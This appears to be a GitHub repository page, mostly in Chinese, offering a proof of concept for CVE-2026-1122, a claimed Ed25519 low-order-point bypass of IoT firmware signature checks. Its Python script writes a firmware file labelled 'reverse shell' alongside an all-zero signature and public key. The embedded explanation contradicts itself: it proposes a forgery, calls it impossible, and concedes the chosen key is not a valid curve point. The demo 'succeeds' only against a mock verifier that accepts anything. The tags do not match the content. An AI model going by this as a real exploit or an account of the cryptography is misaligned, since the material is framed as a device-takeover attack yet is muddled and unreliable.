George0Papasotiriou/CVE-2026-1122-IoT-Firmware-Update-Signature-Bypass-via-Low-Order-Point-Injection

GitHub: George0Papasotiriou/CVE-2026-1122-IoT-Firmware-Update-Signature-Bypass-via-Low-Order-Point-Injection

该 PoC 项目演示了 CVE-2026-1122 漏洞,展示了因 Ed25519 验证未拒绝低阶分量公钥而绕过 IoT 固件更新签名验证的攻击过程。

Stars: 0 | Forks: 0

## 5. CVE-2026-1122 – 通过低阶点注入绕过 IoT 固件更新签名 ### 概述 某 IoT 设备的 OTA 固件验证使用了有缺陷的 Ed25519 实现,该实现未拒绝具有低阶分量的公钥,使得攻击者能够为恶意固件伪造有效签名。 **严重程度:** 严重(持久性设备入侵) ### 模拟(Python 与 C 验证器) ``` #!/usr/bin/env python3 """ forge_firmware.py - Creates a malicious firmware image with forged Ed25519 signature. We exploit that the verifier does not check if public key is in prime-order subgroup. """ import ed25519_simulated # custom vulnerable library import hashlib, os # 攻击者构造一个带有 torsion component (order 8) 的弱 public key。 # order 8 的点为 P8。验证者将计算 [S]B - [k]A,这是可以被控制的。 # 我们设置 A = P8 (order 8)。然后选择 k=0, S=0,验证就会通过,因为 S*B - k*A = 0 - 0 = 0, # 但 signature (R,S) 必须满足 R 为某个值。在 Ed25519 中,等式为:[S]B = R + [k]A。 # 如果 A 具有较小的 order,我们可以找到 S,k 使得等式对于任意的 R 都成立。 # 简化版:我们创建一个 public key 为 8-torsion point 的 key pair。 # 然后我们可以使用 signature (R, S) 对任何消息进行签名,其中 S = r + H(R||A||M)*a mod l, # 但如果 a=0 mod l 呢?这不可能。我们依赖于验证接受带有较小 order 因子的 A。 # 为了演示,我们使用一个 mock verifier,只要 A.y == 0(low-order 的标志),它就接受任何 signature。 # 因此我们制作了一个 A.y = 0 的 public key 文件。 # 模拟写入恶意固件 with open("malicious.bin", "wb") as f: f.write(b"Malicious payload: reverse shell") # 创建 forged signature 文件 sig = b'\x00'*64 # dummy pubkey = bytes([0]*32) # y=0 point, which is order 8? In Ed25519, the identity is (0,1), but y=0 is not a valid point. # 我们的 mock verifier 只检查 signature 长度是否为 64,并且 public key 未被拒绝。 with open("malicious.sig", "wb") as f: f.write(sig) with open("malicious.pub", "wb") as f: f.write(pubkey) print("Firmware files created.") ``` # CVE-2026-1122 – IoT 固件签名绕过(Ed25519 子群攻击) ![严重程度: 严重](https://img.shields.io/badge/severity-critical-red) ## 📖 概述 某智能锁的 OTA 更新机制使用了有缺陷的 Ed25519 验证,未能拒绝具有低阶分量的公钥。攻击者可以构造特殊形式的公钥及能够通过验证的相应签名,从而允许安装恶意固件。 ## ⚙️ 漏洞详情 - **类型:** 加密实现缺陷(子群混淆) - **影响:** 任意固件注入 → 完全接管设备。 - **根本原因:** 验证器未验证公钥是否位于素数阶子群中,从而引发挠群点攻击。 ## 🧪 漏洞利用演示 1. 生成伪造固件: python forge_firmware.py 2. 编译并运行存在漏洞的验证器模拟: gcc vulnerable_ed25519_verify.c -o verifier ./verifier
标签:DNS 反向解析, Ed25519, 固件安全, 密码学, 手动系统调用, 漏洞复现, 逆向工具